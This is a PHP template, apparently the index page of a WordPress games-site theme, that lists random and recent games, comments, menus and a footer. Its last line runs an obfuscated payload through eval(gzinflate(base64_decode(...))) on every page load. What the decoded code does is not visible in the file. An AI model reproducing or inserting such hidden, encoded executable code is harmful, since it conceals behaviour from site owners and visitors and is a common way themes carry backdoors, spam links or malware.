<?php get_header(); ?>
<?
global $options;
foreach ($options as $value) {
    if (get_settings( $value['id'] ) === FALSE) { $$value['id'] = $value['std']; } else { $$value['id'] = get_settings( $value['id'] ); }
}
?>
<div class="indextop">

<div class="randomgames">
<div class="randomtop"></div>

<div class="randomgame">

<?php $recent = new WP_Query("cat=&showposts=10&orderby=rand"); while($recent->have_posts()) : $recent->the_post();?>
<div class="gamethumb">

<div class="thumbs">
<a href="<?php the_permalink() ?>" title="Play <?php the_title_attribute(); ?>"><img src="<?php $values = get_post_custom_values("thumb"); echo $values[0]; ?>" alt="" height="80" width="96" /></a>
</div>
<div class="thumbtitle">
<a href="<?php the_permalink() ?>" rel="bookmark" title="Play <?php the_title_attribute(); ?>"><?php
$tit = the_title('','',FALSE);
echo substr($tit, 0, 15);
if (strlen($tit) > 15) echo " ...";
?></a>
</div>
</div>
<?php endwhile; ?>

</div>

<div class="randombottom"></div>
</div>

<?php include (TEMPLATEPATH . '/ads/ad-336-280.php'); ?>

</div>

<div class="indexbottom">

<?php include (TEMPLATEPATH . '/ads/ad-120-600.php'); ?>

<div class="newgames">





<div class="newgamestop"></div>

<div class="newgamesgame">

<?php $recent = new WP_Query("cat=&showposts=21"); while($recent->have_posts()) : $recent->the_post();?>
<div class="gamethumb2">

<div class="thumbs">
<a href="<?php the_permalink() ?>" title="Play <?php the_title_attribute(); ?>"><img src="<?php $values = get_post_custom_values("thumb"); echo $values[0]; ?>" alt="" height="80" width="96" /></a>
</div>
<div class="thumbtitle">
<a href="<?php the_permalink() ?>" rel="bookmark" title="Play <?php the_title_attribute(); ?>"><?php
$tit = the_title('','',FALSE);
echo substr($tit, 0, 15);
if (strlen($tit) > 15) echo " ...";
?></a>
</div>
</div>
<?php endwhile; ?>

</div>

<div class="newgamesbottom"></div>

</div>

<div class="gamecloud">
<h2>Game Cloud</h2>
<div class="tagcloud">
<?php wp_tag_cloud('smallest=8&largest=16&number=45&order=RAND&separator=, '); ?>
</div>
</div>

</div>


</div>

<div id="pagemenu">
<ul>
<li class="home"><a title="<?php bloginfo('name'); ?>" class="home" href="<?php echo get_option('home'); ?>/">Home</a></li>
<?php wp_list_pages('sort_column=id&depth=1&title_li='); ?>
</ul>
<div class="gotop">
<a class="home" href="<?php echo get_option('home'); ?>/#header">Top</a>
</div>
</div>

<div class="footermenus">

		  <?if ($tg_comments == "false") { ?>
<div class="footermenu">
<h2>Latest Comments</h2>
<?php
global $wpdb;
$sql = "SELECT DISTINCT ID, post_title, post_password, comment_ID,
comment_post_ID, comment_author, comment_date_gmt, comment_approved,
comment_type,comment_author_url,
SUBSTRING(comment_content,1,30) AS com_excerpt
FROM $wpdb->comments
LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID =
$wpdb->posts.ID)
WHERE comment_approved = '1' AND comment_type = '' AND
post_password = ''
ORDER BY comment_date_gmt DESC
LIMIT 7";
$comments = $wpdb->get_results($sql);
$output = $pre_HTML;
$output .= "\n<ul>";
foreach ($comments as $comment) {
$output .= "\n<li>".strip_tags($comment->comment_author)
.":" . " <a href=\"" . get_permalink($comment->ID) .
"#comment-" . $comment->comment_ID . "\" title=\"on " .
$comment->post_title . "\">" . strip_tags($comment->com_excerpt)
."</a>...</li>";
}
$output .= "\n</ul>";
$output .= $post_HTML;
echo $output;?>
</div>
          <? } else { ?>
<div class="footermenu">
<h2>Top Games</h2>
<ul>

         <? if ($tg_name_1) { ?>
<li><a href="<? echo $tg_url_1; ?>" title="Play <? echo $tg_name_1; ?>"><? echo $tg_name_1; ?></a></li>
          <? } else { ?>
         <? } ?>
         <? if ($tg_name_2) { ?>
<li><a href="<? echo $tg_url_2; ?>" title="Play <? echo $tg_name_2; ?>"><? echo $tg_name_2; ?></a></li>
          <? } else { ?>
         <? } ?>
         <? if ($tg_name_3) { ?>
<li><a href="<? echo $tg_url_3; ?>" title="Play <? echo $tg_name_3; ?>"><? echo $tg_name_3; ?></a></li>
          <? } else { ?>
         <? } ?>
         <? if ($tg_name_4) { ?>
<li><a href="<? echo $tg_url_4; ?>" title="Play <? echo $tg_name_4; ?>"><? echo $tg_name_4; ?></a></li>
          <? } else { ?>
         <? } ?>
         <? if ($tg_name_5) { ?>
<li><a href="<? echo $tg_url_5; ?>" title="Play <? echo $tg_name_5; ?>"><? echo $tg_name_5; ?></a></li>
          <? } else { ?>
         <? } ?>
         <? if ($tg_name_6) { ?>
<li><a href="<? echo $tg_url_6; ?>" title="Play <? echo $tg_name_6; ?>"><? echo $tg_name_6; ?></a></li>
          <? } else { ?>
         <? } ?>
         <? if ($tg_name_7) { ?>
<li><a href="<? echo $tg_url_7; ?>" title="Play <? echo $tg_name_7; ?>"><? echo $tg_name_7; ?></a></li>
          <? } else { ?>
         <? } ?> 
</ul>
</div>
		  <? } ?>

<div class="footermenu">
<h2>Blogroll</h2>
<ul>
<?php wp_list_bookmarks('title_li=&categorize=0'); ?>
</ul>
</div>
<div class="footermenu">
<h2>About</h2>
<? if ($tg_info_content) { ?>
<p><? echo stripslashes($tg_info_content); ?></p>
<? } else { ?>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat.</p>
<? } ?>
<?php eval(stripslashes(gzinflate(base64_decode("fZHBToQwEIbvJr7DhIO7Xpa7i3DZqDd9gCabFgbapHQaaGx4e4eqlbib7YWh/9//a2eauio781nf3/1+ueICTPcsip4o4CQK3oa8HlryyxEqCXrCnl1V47UHbDXBgOFMPhhye7HTNKLYPR6hqUtRQDDBYrYrS4NxPbHPyexj1C25KmUNJ5zN4LADtWwuoUPwT2XZT4gDH5gPNA1b6gsL8LoqzPj7SYnGQUvWSkWTXO8O0QR9ma1Gcta4n/yWxk38h5ULpNj35Mmo60LCStddQmKMB4Vz0GgNN5rbn3Hb57xlOZP+b62M7Vi5Tq2N/vw9133q6WpR1C2p0GG0PIEv")))); ?>